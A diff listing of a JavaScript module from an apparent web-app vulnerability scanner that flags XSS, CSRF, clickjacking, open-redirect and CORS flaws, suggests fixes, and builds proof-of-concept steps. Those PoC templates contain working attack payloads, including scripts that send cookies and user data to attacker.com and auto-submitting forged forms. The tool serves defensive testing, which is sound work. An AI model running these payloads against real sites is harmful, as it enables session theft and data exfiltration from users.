|
+
}
|
|
257
|
+
const finding = {
|
|
258
|
+
id: generateFindingId("web-app", file.relativePath, lineNum, pattern.id),
|
|
259
|
+
tacticName: "web-app",
|
|
260
|
+
focusArea: "web-app",
|
|
261
|
+
patternId: pattern.id,
|
|
262
|
+
file: file.relativePath,
|
|
263
|
+
line: lineNum,
|
|
264
|
+
message: `${pattern.name}: ${pattern.description}`,
|
|
265
|
+
severity: pattern.severity,
|
|
266
|
+
confidence: calculateConfidence(match[0], pattern, file),
|
|
267
|
+
evidence: match[0].substring(0, 200),
|
|
268
|
+
cweIds: [pattern.cwe],
|
|
269
|
+
mitreIds: getMitreIds(pattern.id),
|
|
270
|
+
suggestedFix: getSuggestedFix(pattern.id),
|
|
271
|
+
};
|
|
272
|
+
findings.push(finding);
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
return findings;
|
|
276
|
+
},
|
|
277
|
+
async generatePoC(finding) {
|
|
278
|
+
const pocMap = {
|
|
279
|
+
"xss-stored-dangerouslysetinnerhtml": () => storedXssPoC(finding, "React dangerouslySetInnerHTML"),
|
|
280
|
+
"xss-stored-innerhtml": () => storedXssPoC(finding, "innerHTML"),
|
|
281
|
+
"xss-stored-v-html": () => storedXssPoC(finding, "Vue v-html"),
|
|
282
|
+
"xss-reflected-query-param": () => reflectedXssPoC(finding),
|
|
283
|
+
"xss-reflected-template": () => reflectedXssPoC(finding),
|
|
284
|
+
"xss-dom-location-hash": () => domXssPoC(finding, "location.hash"),
|
|
285
|
+
"xss-dom-location-search": () => domXssPoC(finding, "location.search"),
|
|
286
|
+
"xss-dom-postmessage": () => domXssPoC(finding, "postMessage"),
|
|
287
|
+
"csrf-missing-token": () => csrfPoC(finding),
|
|
288
|
+
"csrf-disabled": () => csrfPoC(finding),
|
|
289
|
+
"clickjacking-no-frame-options": () => clickjackingPoC(finding),
|
|
290
|
+
"open-redirect-query-param": () => openRedirectPoC(finding),
|
|
291
|
+
"open-redirect-post-login": () => openRedirectPoC(finding),
|
|
292
|
+
"cors-reflect-origin": () => corsMisconfigPoC(finding),
|
|
293
|
+
"cors-wildcard-credentials": () => corsMisconfigPoC(finding),
|
|
294
|
+
};
|
|
295
|
+
const generator = pocMap[finding.patternId];
|
|
296
|
+
return generator ? generator() : null;
|
|
297
|
+
},
|
|
298
|
+
getPromptEnhancement() {
|
|
299
|
+
return `When analyzing for web application vulnerabilities, focus on:
|
|
300
|
+
|
|
301
|
+
1. **XSS (Cross-Site Scripting)**:
|
|
302
|
+
- Stored XSS: User content persisted and rendered without sanitization
|
|
303
|
+
- Reflected XSS: Query parameters or form data reflected in response
|
|
304
|
+
- DOM XSS: Client-side JavaScript using untrusted sources (location.*, postMessage)
|
|
305
|
+
- Check for proper encoding (HTML, JavaScript, URL context)
|
|
306
|
+
- Verify sanitization libraries (DOMPurify, js-xss) are used correctly
|
|
307
|
+
|
|
308
|
+
2. **CSRF (Cross-Site Request Forgery)**:
|
|
309
|
+
- State-changing endpoints (POST, PUT, DELETE) must have CSRF protection
|
|
310
|
+
- Look for synchronizer tokens, double-submit cookies, or SameSite cookies
|
|
311
|
+
- Verify AJAX requests include custom headers or tokens
|
|
312
|
+
- Check for CORS configuration that might enable CSRF
|
|
313
|
+
|
|
314
|
+
3. **Clickjacking**:
|
|
315
|
+
- Missing or misconfigured X-Frame-Options header
|
|
316
|
+
- CSP frame-ancestors directive not set
|
|
317
|
+
- Sensitive pages (login, payment) frameable by attackers
|
|
318
|
+
|
|
319
|
+
4. **Open Redirect**:
|
|
320
|
+
- Redirect functions accepting user-controlled URLs
|
|
321
|
+
- Missing whitelist validation on redirect targets
|
|
322
|
+
- Post-authentication redirect vulnerabilities
|
|
323
|
+
- Referer/Origin header-based redirects
|
|
324
|
+
|
|
325
|
+
5. **CORS Misconfiguration**:
|
|
326
|
+
- Reflected origins without validation
|
|
327
|
+
- Wildcard (*) with credentials enabled
|
|
328
|
+
- Null origin allowed (file:// bypass)
|
|
329
|
+
- Flawed regex validation (subdomain wildcards)
|
|
330
|
+
|
|
331
|
+
For each finding, determine:
|
|
332
|
+
- What's the attack vector and exploitability?
|
|
333
|
+
- What data or functionality can be compromised?
|
|
334
|
+
- Are there compensating controls (CSP, input validation)?`;
|
|
335
|
+
},
|
|
336
|
+
getRelevantFilePatterns() {
|
|
337
|
+
return [
|
|
338
|
+
"**/components/**",
|
|
339
|
+
"**/views/**",
|
|
340
|
+
"**/pages/**",
|
|
341
|
+
"**/templates/**",
|
|
342
|
+
"**/api/**",
|
|
343
|
+
"**/routes/**",
|
|
344
|
+
"**/controllers/**",
|
|
345
|
+
"**/middleware/**",
|
|
346
|
+
"**/*.tsx",
|
|
347
|
+
"**/*.jsx",
|
|
348
|
+
"**/*.vue",
|
|
349
|
+
"**/*.svelte",
|
|
350
|
+
"**/*.html",
|
|
351
|
+
"**/*.ts",
|
|
352
|
+
"**/*.js",
|
|
353
|
+
];
|
|
354
|
+
},
|
|
355
|
+
};
|
|
356
|
+
// ============================================================================
|
|
357
|
+
// Helper Functions
|
|
358
|
+
// ============================================================================
|
|
359
|
+
function isInComment(line) {
|
|
360
|
+
const trimmed = line.trim();
|
|
361
|
+
return trimmed.startsWith("//") || trimmed.startsWith("*") || trimmed.startsWith("#") || trimmed.startsWith("<!--");
|
|
362
|
+
}
|
|
363
|
+
function isFalsePositive(match, patternId, file) {
|
|
364
|
+
// Skip test files
|
|
365
|
+
if (file.relativePath.includes("test") ||
|
|
366
|
+
file.relativePath.includes("spec") ||
|
|
367
|
+
file.relativePath.includes("mock")) {
|
|
368
|
+
return true;
|
|
369
|
+
}
|
|
370
|
+
// Skip if using sanitization library
|
|
371
|
+
const lowerMatch = match.toLowerCase();
|
|
372
|
+
if (lowerMatch.includes("dompurify") ||
|
|
373
|
+
lowerMatch.includes("sanitize") ||
|
|
374
|
+
lowerMatch.includes("escape") ||
|
|
375
|
+
lowerMatch.includes("encode")) {
|
|
376
|
+
return true;
|
|
377
|
+
}
|
|
378
|
+
// Skip static/hardcoded values for XSS
|
|
379
|
+
if (patternId.startsWith("xss-") && !match.includes(".") && !match.includes("req")) {
|
|
380
|
+
return true;
|
|
381
|
+
}
|
|
382
|
+
return false;
|
|
383
|
+
}
|
|
384
|
+
function calculateConfidence(match, pattern, file) {
|
|
385
|
+
let confidence = 70;
|
|
386
|
+
// Higher confidence for obvious user input flows
|
|
387
|
+
if (match.includes("req.") || match.includes("request.") || match.includes("query.") || match.includes("params.")) {
|
|
388
|
+
confidence += 15;
|
|
389
|
+
}
|
|
390
|
+
// Higher confidence for critical severity
|
|
391
|
+
if (pattern.severity === "critical") {
|
|
392
|
+
confidence += 10;
|
|
393
|
+
}
|
|
394
|
+
// Lower confidence for framework files
|
|
395
|
+
if (file.relativePath.includes("node_modules") || file.relativePath.includes(".next")) {
|
|
396
|
+
confidence -= 30;
|
|
397
|
+
}
|
|
398
|
+
// Higher confidence for frontend components
|
|
399
|
+
if (file.relativePath.includes("components") || file.relativePath.includes("pages")) {
|
|
400
|
+
confidence += 5;
|
|
401
|
+
}
|
|
402
|
+
return Math.min(95, Math.max(50, confidence));
|
|
403
|
+
}
|
|
404
|
+
function getMitreIds(patternId) {
|
|
405
|
+
const mapping = {
|
|
406
|
+
"xss-stored-dangerouslysetinnerhtml": ["T1189", "T1203"],
|
|
407
|
+
"xss-stored-innerhtml": ["T1189", "T1203"],
|
|
408
|
+
"xss-reflected-query-param": ["T1189", "T1566"],
|
|
409
|
+
"xss-dom-location-hash": ["T1189", "T1203"],
|
|
410
|
+
"csrf-missing-token": ["T1659", "T1078"],
|
|
411
|
+
"clickjacking-no-frame-options": ["T1189", "T1204"],
|
|
412
|
+
"open-redirect-query-param": ["T1566", "T1078"],
|
|
413
|
+
"cors-reflect-origin": ["T1189", "T1071"],
|
|
414
|
+
};
|
|
415
|
+
return mapping[patternId] || ["T1189"];
|
|
416
|
+
}
|
|
417
|
+
function getSuggestedFix(patternId) {
|
|
418
|
+
const fixes = {
|
|
419
|
+
"xss-stored-dangerouslysetinnerhtml": "Sanitize HTML content with DOMPurify before rendering: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }}",
|
|
420
|
+
"xss-stored-innerhtml": "Use textContent for plain text or sanitize with DOMPurify for HTML",
|
|
421
|
+
"xss-stored-v-html": "Sanitize content: v-html=\"$sanitize(userContent)\" or use v-text for plain text",
|
|
422
|
+
"xss-reflected-query-param": "Encode output based on context (HTML, JavaScript, URL). Use framework's built-in escaping.",
|
|
423
|
+
"xss-reflected-template": "Use framework's auto-escaping ({{ }} in Vue, { } in React). Avoid v-html/dangerouslySetInnerHTML.",
|
|
424
|
+
"xss-dom-location-hash": "Sanitize location.hash before using in DOM sinks, or use textContent instead of innerHTML",
|
|
425
|
+
"xss-dom-postmessage": "Validate message.origin and sanitize message.data before DOM manipulation",
|
|
426
|
+
"csrf-missing-token": "Implement CSRF protection: use csrf middleware, synchronizer tokens, or SameSite=Strict cookies",
|
|
427
|
+
"csrf-disabled": "Enable CSRF protection for state-changing endpoints",
|
|
428
|
+
"csrf-samesite-none": "Use SameSite=Strict or SameSite=Lax for session cookies unless cross-site access required",
|
|
429
|
+
"clickjacking-no-frame-options": "Set X-Frame-Options: DENY or CSP frame-ancestors 'none' for sensitive pages",
|
|
430
|
+
"clickjacking-frame-options-disabled": "Enable frameguard protection: helmet({ frameguard: { action: 'deny' } })",
|
|
431
|
+
"open-redirect-query-param": "Validate redirect URLs against whitelist: if (allowedUrls.includes(url)) { redirect(url) }",
|
|
432
|
+
"open-redirect-post-login": "Use relative URLs or validate against whitelist before redirecting",
|
|
433
|
+
"cors-reflect-origin": "Validate origin against whitelist before reflecting in Access-Control-Allow-Origin",
|
|
434
|
+
"cors-null-origin": "Reject 'null' origin or validate against specific whitelist",
|
|
435
|
+
"cors-wildcard-credentials": "Never use Access-Control-Allow-Origin: * with credentials. Specify exact origins.",
|
|
436
|
+
"cors-regex-bypass": "Use exact string matching or properly anchored regex for origin validation",
|
|
437
|
+
};
|
|
438
|
+
return fixes[patternId] || "Review and implement proper input validation and output encoding";
|
|
439
|
+
}
|
|
440
|
+
// ============================================================================
|
|
441
|
+
// PoC Generators
|
|
442
|
+
// ============================================================================
|
|
443
|
+
function storedXssPoC(finding, sink) {
|
|
444
|
+
const steps = [
|
|
445
|
+
{
|
|
446
|
+
order: 1,
|
|
447
|
+
action: "identify-input",
|
|
448
|
+
description: "Identify the user input that gets stored",
|
|
449
|
+
command: `Review ${finding.file}:${finding.line} to find the input source (comment, profile, post, etc.)`,
|
|
450
|
+
expectedResult: "Input field identified (e.g., comment text, bio, post content)",
|
|
451
|
+
},
|
|
452
|
+
{
|
|
453
|
+
order: 2,
|
|
454
|
+
action: "test-basic-xss",
|
|
455
|
+
description: "Test for XSS with basic payload",
|
|
456
|
+
command: `Submit: <script>alert(document.domain)</script>`,
|
|
457
|
+
expectedResult: "JavaScript executes when content is viewed",
|
|
458
|
+
},
|
|
459
|
+
{
|
|
460
|
+
order: 3,
|
|
461
|
+
action: "escalate-poc",
|
|
462
|
+
description: "Demonstrate data exfiltration",
|
|
463
|
+
command: `Submit: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`,
|
|
464
|
+
expectedResult: "Cookie sent to attacker server when page is viewed by any user",
|
|
465
|
+
},
|
|
466
|
+
];
|
|
467
|
+
return {
|
|
468
|
+
id: `poc-${finding.id}`,
|
|
469
|
+
findingId: finding.id,
|
|
470
|
+
prerequisites: [
|
|
471
|
+
"User input field that persists data",
|
|
472
|
+
`Application renders content using ${sink}`,
|
|
473
|
+
],
|
|
474
|
+
steps,
|
|
475
|
+
payload: "<img src=x onerror=alert(document.domain)>",
|
|
476
|
+
expectedResult: "JavaScript execution in victim browsers",
|
|
477
|
+
safeTestInstructions: "Test on isolated environment. Use alert(document.domain) for PoC, never exfiltrate real data. Test with own account only.",
|
|
478
|
+
};
|
|
479
|
+
}
|
|
480
|
+
function reflectedXssPoC(finding) {
|
|
481
|
+
const steps = [
|
|
482
|
+
{
|
|
483
|
+
order: 1,
|
|
484
|
+
action: "identify-reflection",
|
|
485
|
+
description: "Identify the reflected parameter",
|
|
486
|
+
command: `Review ${finding.file}:${finding.line} for reflected user input`,
|
|
487
|
+
expectedResult: "Query parameter or input that gets reflected in response",
|
|
488
|
+
},
|
|
489
|
+
{
|
|
490
|
+
order: 2,
|
|
491
|
+
action: "test-reflection",
|
|
492
|
+
description: "Test parameter reflection",
|
|
493
|
+
command: `curl "https://target/page?q=<test123>"`,
|
|
494
|
+
expectedResult: "String <test123> appears in HTML response without encoding",
|
|
495
|
+
},
|
|
496
|
+
{
|
|
497
|
+
order: 3,
|
|
498
|
+
action: "craft-payload",
|
|
499
|
+
description: "Craft XSS payload",
|
|
500
|
+
command: `https://target/page?q=<script>alert(document.domain)</script>`,
|
|
501
|
+
expectedResult: "JavaScript executes when victim clicks link",
|
|
502
|
+
},
|
|
503
|
+
];
|
|
504
|
+
return {
|
|
505
|
+
id: `poc-${finding.id}`,
|
|
506
|
+
findingId: finding.id,
|
|
507
|
+
prerequisites: [
|
|
508
|
+
"Reflected parameter in URL or form",
|
|
509
|
+
"Content rendered without proper encoding",
|
|
510
|
+
],
|
|
511
|
+
steps,
|
|
512
|
+
payload: "<img src=x onerror=alert(document.domain)>",
|
|
513
|
+
expectedResult: "JavaScript execution when victim accesses crafted URL",
|
|
514
|
+
safeTestInstructions: "Test with own browser only. Never send malicious links to users. Use alert() for PoC.",
|
|
515
|
+
};
|
|
516
|
+
}
|
|
517
|
+
function domXssPoC(finding, source) {
|
|
518
|
+
const payloads = {
|
|
519
|
+
"location.hash": "#<img src=x onerror=alert(document.domain)>",
|
|
520
|
+
"location.search": "?param=<img src=x onerror=alert(1)>",
|
|
521
|
+
"postMessage": "window.postMessage('<img src=x onerror=alert(1)>', '*')",
|
|
522
|
+
};
|
|
523
|
+
const steps = [
|
|
524
|
+
{
|
|
525
|
+
order: 1,
|
|
526
|
+
action: "analyze-source",
|
|
527
|
+
description: `Analyze how ${source} is used in DOM sink`,
|
|
528
|
+
command: `Review ${finding.file}:${finding.line} for data flow`,
|
|
529
|
+
expectedResult: `${source} data flows to DOM sink without sanitization`,
|
|
530
|
+
},
|
|
531
|
+
{
|
|
532
|
+
order: 2,
|
|
533
|
+
action: "test-payload",
|
|
534
|
+
description: "Test XSS payload",
|
|
535
|
+
command: `Navigate to: https://target/page${payloads[source] || "#<test>"}`,
|
|
536
|
+
expectedResult: "JavaScript executes in browser context",
|
|
537
|
+
},
|
|
538
|
+
];
|
|
539
|
+
return {
|
|
540
|
+
id: `poc-${finding.id}`,
|
|
541
|
+
findingId: finding.id,
|
|
542
|
+
prerequisites: [
|
|
543
|
+
`Client-side code uses ${source} in DOM sink`,
|
|
544
|
+
"No sanitization or encoding applied",
|
|
545
|
+
],
|
|
546
|
+
steps,
|
|
547
|
+
payload: payloads[source] || "<img src=x onerror=alert(1)>",
|
|
548
|
+
expectedResult: "Client-side JavaScript execution",
|
|
549
|
+
safeTestInstructions: "Test in isolated browser session. Clear cookies before testing. Never target other users.",
|
|
550
|
+
};
|
|
551
|
+
}
|
|
552
|
+
function csrfPoC(finding) {
|
|
553
|
+
const steps = [
|
|
554
|
+
{
|
|
555
|
+
order: 1,
|
|
556
|
+
action: "identify-endpoint",
|
|
557
|
+
description: "Identify state-changing endpoint without CSRF protection",
|
|
558
|
+
command: `Review ${finding.file}:${finding.line} for POST/PUT/DELETE endpoints`,
|
|
559
|
+
expectedResult: "Endpoint identified (e.g., /api/profile/update, /transfer)",
|
|
560
|
+
},
|
|
561
|
+
{
|
|
562
|
+
order: 2,
|
|
563
|
+
action: "craft-form",
|
|
564
|
+
description: "Craft malicious HTML form",
|
|
565
|
+
command: `<form action="https://target/api/update" method="POST">
|
|
566
|
+
<input name="email" value="attacker@evil.com">
|
|
567
|
+
<input type="submit">
|
|
568
|
+
</form>
|
|
569
|
+
<script>document.forms[0].submit()</script>`,
|
|
570
|
+
expectedResult: "Auto-submitting form ready",
|
|
571
|
+
},
|
|
572
|
+
{
|
|
573
|
+
order: 3,
|
|
574
|
+
action: "test-csrf",
|
|
575
|
+
description: "Host malicious page and test",
|
|
576
|
+
command: "Host HTML on attacker site, visit while authenticated to target",
|
|
577
|
+
expectedResult: "Request succeeds without CSRF token, state is changed",
|
|
578
|
+
},
|
|
579
|
+
];
|
|
580
|
+
return {
|
|
581
|
+
id: `poc-${finding.id}`,
|
|
582
|
+
findingId: finding.id,
|
|
583
|
+
prerequisites: [
|
|
584
|
+
"State-changing endpoint without CSRF protection",
|
|
585
|
+
"Victim authenticated session",
|
|
586
|
+
],
|
|
587
|
+
steps,
|
|
588
|
+
payload: '<form action="https://target/endpoint" method="POST"><input name="param" value="malicious"></form><script>document.forms[0].submit()</script>',
|
|
589
|
+
expectedResult: "Unauthorized state change via cross-site request",
|
|
590
|
+
safeTestInstructions: "Test with two test accounts. Never target real users. Verify CSRF protection after fix.",
|
|
591
|
+
};
|
|
592
|
+
}
|
|
593
|
+
function clickjackingPoC(finding) {
|
|
594
|
+
const steps = [
|
|
595
|
+
{
|
|
596
|
+
order: 1,
|
|
597
|
+
action: "verify-frameable",
|
|
598
|
+
description: "Verify sensitive page can be framed",
|
|
599
|
+
command: `curl -I https://target/sensitive | grep -i x-frame-options`,
|
|
600
|
+
expectedResult: "No X-Frame-Options header present",
|
|
601
|
+
},
|
|
602
|
+
{
|
|
603
|
+
order: 2,
|
|
604
|
+
action: "craft-overlay",
|
|
605
|
+
description: "Craft clickjacking overlay",
|
|
606
|
+
command: `<style>iframe{position:absolute;opacity:0.1;width:100%;height:100%}</style>
|
|
607
|
+
<iframe src="https://target/delete-account"></iframe>
|
|
608
|
+
<button style="position:absolute;top:200px;left:100px">Click for Prize!</button>`,
|
|
609
|
+
expectedResult: "Invisible iframe overlaying malicious button",
|
|
610
|
+
},
|
|
611
|
+
{
|
|
612
|
+
order: 3,
|
|
613
|
+
action: "test-click",
|
|
614
|
+
description: "Test that clicks go to iframe",
|
|
615
|
+
command: "Click visible button, action occurs in framed page",
|
|
616
|
+
expectedResult: "User performs unintended action (e.g., account deletion)",
|
|
617
|
+
},
|
|
618
|
+
];
|
|
619
|
+
return {
|
|
620
|
+
id: `poc-${finding.id}`,
|
|
621
|
+
findingId: finding.id,
|
|
622
|
+
prerequisites: [
|
|
623
|
+
"Sensitive page without X-Frame-Options",
|
|
624
|
+
"User authenticated to target application",
|
|
625
|
+
],
|
|
626
|
+
steps,
|
|
627
|
+
payload: '<iframe src="https://target/sensitive" style="opacity:0.001"></iframe>',
|
|
628
|
+
expectedResult: "UI redressing allows unintended user actions",
|
|
629
|
+
safeTestInstructions: "Test with own account only. Use non-destructive actions for PoC.",
|
|
630
|
+
};
|
|
631
|
+
}
|
|
632
|
+
function openRedirectPoC(finding) {
|
|
633
|
+
const steps = [
|
|
634
|
+
{
|
|
635
|
+
order: 1,
|
|
636
|
+
action: "identify-param",
|
|
637
|
+
description: "Identify redirect parameter",
|
|
638
|
+
command: `Review ${finding.file}:${finding.line} for redirect logic`,
|
|
639
|
+
expectedResult: "Redirect parameter identified (e.g., ?returnUrl=, ?next=)",
|
|
640
|
+
},
|
|
641
|
+
{
|
|
642
|
+
order: 2,
|
|
643
|
+
action: "test-redirect",
|
|
644
|
+
description: "Test open redirect",
|
|
645
|
+
command: `curl -I "https://target/login?returnUrl=https://evil.com"`,
|
|
646
|
+
expectedResult: "302 redirect to attacker-controlled domain",
|
|
647
|
+
},
|
|
648
|
+
{
|
|
649
|
+
order: 3,
|
|
650
|
+
action: "craft-phish",
|
|
651
|
+
description: "Demonstrate phishing scenario",
|
|
652
|
+
command: `Send link: https://target.com/login?returnUrl=https://target-phishing.com`,
|
|
653
|
+
expectedResult: "Victim redirected to phishing site after login",
|
|
654
|
+
},
|
|
655
|
+
];
|
|
656
|
+
return {
|
|
657
|
+
id: `poc-${finding.id}`,
|
|
658
|
+
findingId: finding.id,
|
|
659
|
+
prerequisites: [
|
|
660
|
+
"Redirect parameter without whitelist validation",
|
|
661
|
+
"Victim trusts source domain",
|
|
662
|
+
],
|
|
663
|
+
steps,
|
|
664
|
+
payload: "?returnUrl=https://attacker.com/phishing",
|
|
665
|
+
expectedResult: "Redirect to arbitrary attacker domain, enabling phishing",
|
|
666
|
+
safeTestInstructions: "Use benign test domain (example.com). Never redirect real users to phishing sites.",
|
|
667
|
+
};
|
|
668
|
+
}
|
|
669
|
+
function corsMisconfigPoC(finding) {
|
|
670
|
+
const steps = [
|
|
671
|
+
{
|
|
672
|
+
order: 1,
|
|
673
|
+
action: "verify-cors",
|
|
674
|
+
description: "Verify CORS misconfiguration",
|
|
675
|
+
command: `curl -H "Origin: https://evil.com" https://target/api/sensitive`,
|
|
676
|
+
expectedResult: "Access-Control-Allow-Origin: https://evil.com (reflected)",
|
|
677
|
+
},
|
|
678
|
+
{
|
|
679
|
+
order: 2,
|
|
680
|
+
action: "craft-exploit",
|
|
681
|
+
description: "Craft malicious page to steal data",
|
|
682
|
+
command: `<script>
|
|
683
|
+
fetch('https://target/api/user', {credentials: 'include'})
|
|
684
|
+
.then(r => r.json())
|
|
685
|
+
.then(data => fetch('https://attacker.com/steal', {
|
|
686
|
+
method: 'POST', body: JSON.stringify(data)
|
|
687
|
+
}))
|
|
688
|
+
</script>`,
|
|
689
|
+
expectedResult: "Malicious page ready to exfiltrate data",
|
|
690
|
+
},
|
|
691
|
+
{
|
|
692
|
+
order: 3,
|
|
693
|
+
action: "test-exploit",
|
|
694
|
+
description: "Host and test cross-origin data theft",
|
|
695
|
+
command: "Victim visits attacker page while authenticated to target",
|
|
696
|
+
expectedResult: "Victim's data exfiltrated to attacker server",
|
|
697
|
+
},
|
|
698
|
+
];
|
|
699
|
+
return {
|
|
700
|
+
id: `poc-${finding.id}`,
|
|
701
|
+
findingId: finding.id,
|
|
702
|
+
prerequisites: [
|
|
703
|
+
"CORS misconfiguration allowing arbitrary origins",
|
|
704
|
+
"Credentials included in cross-origin requests",
|
|
705
|
+
],
|
|
706
|
+
steps,
|
|
707
|
+
payload: "fetch('https://target/api/data', {credentials:'include'})",
|
|
708
|
+
expectedResult: "Cross-origin data theft from authenticated users",
|
|
709
|
+
safeTestInstructions: "Test with controlled test accounts. Never exfiltrate real user data. Verify fix restricts origins properly.",
|
|
710
|
+
};
|
|
711
|
+
}
|
|
712
|
+
// ============================================================================
|
|
713
|
+
// Register Tactic
|
|
714
|
+
// ============================================================================
|
|
715
|
+
registerTactic(webAppTactic);
|
|
716
|
+
export { webAppTactic };
|
|
717
|
+
//# sourceMappingURL=web-app.js.map
|